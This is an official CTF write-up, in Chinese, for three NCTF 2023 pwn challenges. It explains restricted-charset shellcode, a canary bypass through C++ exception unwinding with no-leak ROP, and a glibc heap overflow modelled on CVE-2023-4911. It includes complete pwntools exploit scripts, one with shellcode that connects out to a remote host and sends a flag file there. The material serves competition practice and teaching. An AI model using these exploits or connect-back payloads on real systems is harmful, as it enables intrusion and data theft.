NCTF 2023 Pwn Official WriteUp

NCTF 2023 Pwn Official Writeup

checkin

出完另外两个实在没活了,憋了一天,开赛当天凌晨整了这么个烂活

0x100限制字符集shellcode。

直接用AE64梭,shellcode的时候栈上是有codebase指针的。稍微调一下ae64的参数就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
#from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')

code="""push 0
    pop rdi
    push __NR_close
    pop rax
    syscall
    lea rdi, [rcx+0x120-0xad]
    xor rdx, rdx
    push rdx;pop rsi
    push 2
    pop rax
    syscall
    push rax;pop rdi
    inc rdx
    xor rbx,rbx
read_loop:
    lea rsi, [rsp+rbx]
    inc rbx
    xor rax,rax
    syscall
    cmp rax, 0
    jne read_loop
    
    push 1
    pop rdi
    xor r12,r12
write_loop:
    lea rsi, [rsp+r12]
    inc r12
    xor rax,rax
    inc rax
    syscall
    cmp r12, rbx
    jne write_loop

    push __NR_exit_group
    pop rax
    syscall
"""
#obj=AE64()
#code=(obj.encode(asm(code),strategy="small",offset=0x34,register="rax"))
code=b"WTYH39YjoTYfi9pYWZjETYfi95J0t800T8U0T8Vj3TYfi9CA0t800T8KHc1jwTYfi1CgLJt0OjeTYfi1ujVYIJ4NVTXAkv21B2t11A0v1IoVL90uzejnz1ApEsPhzo1V4JKTsidt1Yzm3OJhV8j5dBXjTqEdkqCiJCk5K6FvpLO5U2BUEgKXldTyVcFSY9YZO5KdWIZZ6wRO1Pa4LqgN98TOQ2tl4Gu46ypI2W0cE2aj"
#s=process("../src/test")
s=remote("8.130.35.16",58002)
pause()
s.send(asm("pop rax")*4+code+b"flag")
#s.send(asm(code)+b"/flag\x00")
s.interactive()

非预期

主要是gpt写的沙盒有问题:

  1. seccomp-tools结果没出write但其实是可以用的

    但是为什么那么多人都是测信道呢……

    可能seccomp-tools一眼下去没看见write?

    1
    2
    
    0014: if (A!=read) goto 0020
    0020: if (A!=1)    goto 0026  # aka if (A!=write)
    

    下次不用chatgpt写沙盒了qwq

  2. read的fd似乎没限死,1也可以(from miniL),不过问题不大

后记

本来以为这题两小时以内就得被打烂的,没想到存活时常比我想象的长一些(

问卷“出的最差”比例最高也是意料之中。

没啥好说的,骂的好(

nception

这题知识点是异常处理绕canary以及无leak利用。

前面是一点碎碎念,解题思路请直接跳到solution节。

no leak & full relro? ret2dl?

第一次正经打FULL RELRO无leak利用应该是2023下半年巅峰极客初赛上,详见此处

当天我对着那篇讲ret2dl的paper冲了一个上午也没有什么成果,最后发现程序里有gadget,把got拿出来造个syscall打csu就行了。

然后陆陆续续打了几场比赛,也见了几个FULL RELRO的题目,无一例外都是这个套路。

我就在想能不能预设一个情景让你只能打ret2dl。

当时想到借用C++类里private成员加public函数获取的方式应该能有mov rax, qword ptr [rax]以及add rax,rdx这种gadget,满足paper里的条件,应该有戏。

但是后来又想到,我知道的ret2dl-64位打法一定需要已知内存地址,而已知内存地址的话就可以转化为以前造syscall的打法。

这样一来似乎FULL RELRO下的ret2dl也就没有意义了,也许需要另辟蹊径,但这次出题时间还是略紧张,我还没研究出什么来,最终放弃这条线。最后只保留了no leak。

ret2csu?

我又在想,高版本csu没了,这种思路还能行得通吗?

如果还记得刚才的两个gadget,其实也好办,众所周知switch case在glibc中如果能被优化成跳转表是会走jmp rax的,如此一来ROP就可以打了。至于call reg个人认为没法用,毕竟你只能pop出来返回地址。

但是这种思路就只能控制参数走libc里的函数了,毕竟你jmp raxsyscall就不好打了。

cpp?

都来到cpp了就顺手塞个异常处理绕canary吧

没啥好说的,想走哪个函数的catch就把返回地址改成哪个函数的try块地址就行了。

本来还想塞个多个catch块(rdx)选择性跳过去的但是我还没学会遂作罢

也许你会疑惑为啥本题libc给的是debian 12的libc而不是一般的ubuntu。

因为我的wsl是debian12我懒得再改exp了(不是

最后测试打包docker的时候发现,ubuntu mantic-20231011的libc会在throw exception之前先查canary,而我本地wsl的debian 12则是在throw exception之后才查canary。

至于ubuntu22,摆了。

solution

漏洞出现在edit功能中:

1
2
3
4
5
char buf[0x200];
std::cin>>buf;
if (strlen(buf)>size_avail) {
    throw exception("Buf too long");
}

很显然的一个栈溢出。

开了canary,直接溢出显然是不行的,但是看到后面有个strlen判断buf长度是否合理,不合理则抛出异常,这里就有问题了。

异常处理找catch会去返回地址找,看返回地址是否属于try块,有没有对应的catch块,正常来讲这里的throw会被main里的catch接住,但是如果返回地址变了呢?

在unwind过程中,存在恢复栈帧的过程,也就是leave_ret。

程序本身里有两个catch块,一个位于main中,一个位于destructor函数中。

main函数catch在while内部,会接着main逻辑执行,而另一个close掉012就leave_ret;return了。

栈溢出显然可以控rbp和返回地址,两个leave_ret也很简单能想到栈迁移。况且还没开pie,ROP的想法基本就成型了。问题是gadget在哪,而且012都关了你怎么leak,或者怎么做无leak利用。

gcc/glibc编译出的动态链接程序,似乎都会有__do_global_dtors_aux这个函数,这个函数末尾可以错位弄出这么一段gadget:

1
add     [rbp-3Dh], ebx

此处的add不会进位到高32位。

起手式ROPgadget --bin pwn --only "pop|ret"也能看到rbp和rbx均可控。

而众所周知pwn题开头一般都有setvbuf(stdin/stdout/stderr,0,2,0)无缓存处理,栈溢出的题一般都会已知elf基址,bss段上的这三个指针都是libc相关地址,可以用上面的gadget算出来想跳的地址。

然后就是通过class里的两段、switch case里的jmp rax在libc里面随便跳。(gadget详细内容见exp)

后续你可以打ROP也可以mprotect打shellcode,我测试的时候看打ROP链0x100*7不太够于是给了0x200。

然而ROP写到一半就放弃了,五个libc函数调用真不是人能写的,每次还要控制三个寄存器。我甚至add的时候用的还是class里的gadget。

然而让我没想到的是真的有人写了ROP,0x800的长度

我甚至最开始还想着把上面那段add的gadget扬掉,不过那样就有点纯恶心人了所以还是算了。

然后就是注意一下strcpy的0截断问题,payload从前往后写,或者写一个foreach循环,算一下offset和特判一下0也行。

最后的shellcode也是,AE64应该可以梭,甚至你写个算个offset也行。不过没有0就行的话,手搓应该问题也不大(吧

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./test")
libc=ELF("./libc.so.6")

def menu(ch):
    s.sendlineafter(b"choice: ",str(ch).encode())

def add():
    menu(1)

def edit(idx,offset,data):
    menu(2)
    s.sendlineafter(b"idx: ",str(idx).encode())
    s.sendlineafter(b"offset: ",str(offset).encode())
    s.sendlineafter(b"data: ",data)

def show(idx):
    menu(3)
    s.sendlineafter(b"read?\n",str(idx).encode())
    s.recvuntil(b"Data: ")
    return s.recvline()[:-1]

def delete(idx):
    menu(4)
    s.sendlineafter(b"destroy?\n",str(idx).encode())

if __name__=="__main__":
    stdout=0x406040
    stdin=0x406050
    stderr=0x4061A0
    rsp_rbp=0x40284e
    rbp=rsp_rbp+1
    ret=rbp+1
    # mov rax, [rbp-0x18];mov rax, [rax];add rsp,0x10; pop rbx; pop r12; pop rbp; ret;
    reveal_ptr=0x402FEC
    # mov rdx, rax; mov rax, [rbp-8], mov [rax], rdx; leave; ret;
    aaw=0x402F90
    # mov rax, [rbp-0x18]; mov rdx, [rax]; mov eax, [rbp-0x1c]; add rax, rdx; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
    push_rax=0x403040
    # add dword ptr [rbp-0x3d], ebx; nop; ret;
    magic=0x4022dc
    # sub rax, qword ptr [rbp - 0x10] ; pop rbp; ret;
    sub_rax=0x4030B1
    # call rax;
    call_rax=0x402010
    # jmp rax
    jmp_rax=0x40226c
    # pop rbx ; pop r12 ; pop rbp ; ret
    rbx_r12_rbp=0x000000000040284c

    rax=0x3f117
    rdi=0x27765
    rsi=0x28f19
    rdx=0x00000000000fdcfd
    syscall=0x86002
    mprotect=0x101760
    pause()
    add()
    delete(0)
    add()
    add()
    add()
    add()
    add()
    rop_start=(u64(show(0).ljust(8,b"\x00"))<<12)+0xec0+0x10
    heap_base=rop_start-(0xbc2ed0-0xbb1000)
    success(hex(rop_start))
    pause()
    p1 = [
        rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stdout_+rdi,0,stdout+0x3d,
        magic,
        rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stdin_+rdx,0,stdin+0x3d,
        magic,
        rbx_r12_rbp,0x100000000-libc.sym._IO_2_1_stderr_+libc.sym.mprotect,0,stderr+0x3d,
        magic,
        rbp,rop_start+0x230+0x10+0x18,
        reveal_ptr,
        ret,ret,ret,ret,rop_start+0x230+0x18+0x18,
        jmp_rax, # pop rdi
        heap_base,
        reveal_ptr,
        ret,ret,ret,ret,rop_start+0x230+0x20+0x18,
        jmp_rax, # pop rdx
        7,
        rbx_r12_rbp,0x100000000-rdi+rsi,0,stdout+0x3d,
        magic,
        rbp,rop_start+0x230+0x10+0x18,
        reveal_ptr,
        ret,ret,ret,ret,rop_start+0x230+0x20+0x18,
        jmp_rax, # pop rsi
        0x20000,
        reveal_ptr,
        ret,ret,ret,ret,ret,
        jmp_rax, # mprotect
        rop_start+0x230*2,
    ]
    
    for i in range(len(p1)):
        off=0
        while (p1[i]>>off*8)&0xff==0:
            off+=1
            if off==8:break
        edit(0,i*8+off,p64(p1[i]>>off*8))
    edit(1,8,b"/flag\0\0\0")
    edit(1,0x10,p64(stdout))
    edit(1,0x18,p64(stdin))
    edit(1,0x20,p64(stderr))
    edit(1,0x30,p16(2))
    edit(1,0x32,p16(0x89c8))
    edit(1,0x34,p32(0x10238208))
    shellcode=asm("push 2;pop rdi;push 1;pop rsi;push rsi;pop rdx;dec rdx;push __NR_socket;pop rax;syscall;")
    shellcode+=asm(f"push rax;pop rdi;push {rop_start+0x230+0x30};pop rsi;push 0x10;pop rdx;push __NR_connect;pop rax;syscall;")
    shellcode+=asm(f"push {rop_start+0x230+8};pop rdi;xor rsi,rsi;push rsi;pop rdx;push __NR_open;pop rax;syscall;")
    shellcode+=asm(f"push rax;pop rdi;push rsp;pop rsi;push rsp;pop rdx;xor rax,rax;syscall;")
    shellcode+=asm(f"xor rdi,rdi;xor rax,rax;inc rax;syscall;")
    edit(2,0,shellcode)
    pause()
    edit(2,0,b"a"*(0x200+0x20)+p64(rop_start-8)+p64(0x40238d))
    s.interactive()

非预期

  • 利用catch过程做leak

    因为main里面做了catch,所以throw出来的exception不会导致程序退出,因而我们可以看看catch过程有没有机会泄露libc相关地址。

    exception被catch之后,第一个执行的是__cxa_begin_catch,这里是源码

    该函数会返回一个指向对象的指针,随后被存入以rbp为基址的内存中。

    到这里又可以分为两支:

    • 利用这个对象指针本身 (Spirit & Scr1w)

      一个对象的前8byte是vtable,一个libc++相关地址。

      如果我们能把这个地址写到对象的buf指针位置,我们也就能泄露libc相关地址了。

      通过之前的栈溢出,我们显然可以控制rbp,向任意地址写一个指向libc相关地址的指针也就成为了可能,泄露libc地址也就信手拈来。

      随后的利用链跟上面一样,但内容就只剩下栈迁移了。

    • 利用这个写8byte,清零某些buf指针的低位,进而可以任意读写 (Polaris & Laogong)

      这条路子就很野了。

      本题的数据结构为ptr(class test*)->heap(char*)->buf(char[])。

      哪怕你任意写一个libc地址,高两位也一定是0,可以利用这个特性弄一个错位出来,清空某个class指针的低位。

      如果构造得当,此时就会有一个class指针里的ptr是可控的,进而可以任意读。

      这道题到此可以转化为一个常规的堆题。

      Polaris的做法是把能漏出来的都露出来之后打栈溢出,毕竟什么都有了那还不是随便玩.jpg

      LaoGong的做法则是打tls,参见他们发的WriteUp

    现在看来可能不该在main里写catch和给docker的from,但是如挡,试一试/爆一爆也能出来。

    如果走leak路线的话,其实pie也可以打开。

    至于防御,我main里的catch如果换一种写法,那个mov qword ptr [rbp-0x18], rax就没了。

    原写法:

    1
    2
    3
    
    catch (std::exception& e) {
        std::cout<<"Exception: "<<e.what()<<std::endl;
    }
    

    新写法:

    1
    2
    3
    
    catch (...) {
        std::cout<<"Error when processing."<<std::endl;
    }
    

    感觉release版本把错误细节去掉好像也挺合理的?:D

后记

本来release版本符号表是都要被扬掉的,但不知道为什么这个题的符号表被留下来了,不过无所谓了。

最后一共4解,都是非预期呜呜呜。唯一一个预期解赛后半小时出了,痛,太痛了。

嘛,不管了。反正问卷里给的好评挺多,开心。

npointment

本题是CVE-2023-4911最开始的溢出部分在glibc堆上的一个拙劣的复刻。

碎碎念

一开始本来打算拿这个CVE出个提权的,前面再套一个misc,正好想回坑DN42了。

但是自己是在太摆了,本来2023年4月上架博客的时候就说半年内回坑DN42结果一直拖到现在。

而且出完这个题离NCTF开赛还有一周,然而我还得出一个题,还没思路。

遂摆。就这样吧。

对于题目本身来说,本来应该修一修、再加点功能的,但是emm,期末了。

也许明年会返场呢是吧。

solution

利用点和利用方法在分析CVE文章的前半部分都写的很明显了,自行取用。

本题当off-by-n打overlap应该可以,也可以复刻CVE里面极为优雅的溢出"\x00"字节。

任意写和泄露heap和libc啥的很好弄,弄个unsorted bin出来再把指针推到对应位置上即可UAF(可能还要推到small bin/large binunsorted bin对应指针低位是0,strdup末尾应该会加0)。

但这题不好任意读,泄露env打栈不太好弄。

不过任意写还是好办的。

考虑用到了strdup,里面调了libc.plt.strlen->libc.got.strlen

libc.got.strlen->libc.sym.system,然后add content=/bin/sh\x00,也就有system("/bin/sh")

感觉开沙盒也能打的样子,但是最后还是没加。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./npointment")
s=remote("8.130.35.16",58001)
libc=ELF("../dist/libc.so.6")

def add(content):
    s.sendlineafter(b"$ ",b"add content="+content)

def show():
    s.sendlineafter(b"$ ",b"show aaa")

def delete(idx):
    s.sendlineafter(b"$ ",b"delete index="+str(idx).encode())

if __name__=="__main__":
    pause()
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"A"*0x40)
    add(b"\x21"*0x2d0)
    add(b"A"*0x40)
    show()
    delete(0)
    add((b"event=event=").ljust(0x40,b"a")+b"\x00"*(0xe+7)+flat([
        0,0x471,
    ]))
    delete(2)
    add(b"a"*0x40)
    add(b"a"*0x500)
    show()
    s.recvuntil(b"#3:")
    s.recvuntil(b"Content: ")
    libc.address=u64(s.recv(6).ljust(8,b"\x00"))-(0x7fc5ee65f0f0-0x7fc5ee460000)
    success(hex(libc.address))

    add(b"a"*0x50)
    delete(0xa)
    show()
    s.recvuntil(b"#3:")
    s.recvuntil(b"Content: ")
    heap_xor_key=u64(s.recvline()[:-1].ljust(8,b"\x00"))
    heap_base=heap_xor_key<<12
    success(hex(heap_base))

    pause()
    strlen_got=libc.address+0x1fe080
    add(b"a"*0x50)
    delete(6)
    delete(2)
    delete(0)
    add((b"event=event=").ljust(0x40,b"a")+b"\x00"*(0xe+7+0x10)+flat([
        (strlen_got-0x40)^heap_xor_key
    ])+b"\x00\x00")
    add(b"A"*0x40)
    add(b"A"*0x40+p64(libc.sym["system"])[:6])
    add(b"/bin/sh\x00")
    
    s.interactive()

后记

这题主要是前期逆向恶心,堆溢出看出来之后开调就完事了。

这题最后一个被拿下也是意料之中,一共有3解。

而且没想到有人真看过这个CVE,还是挺意外的。

明年也可以复刻一波 (大概

0%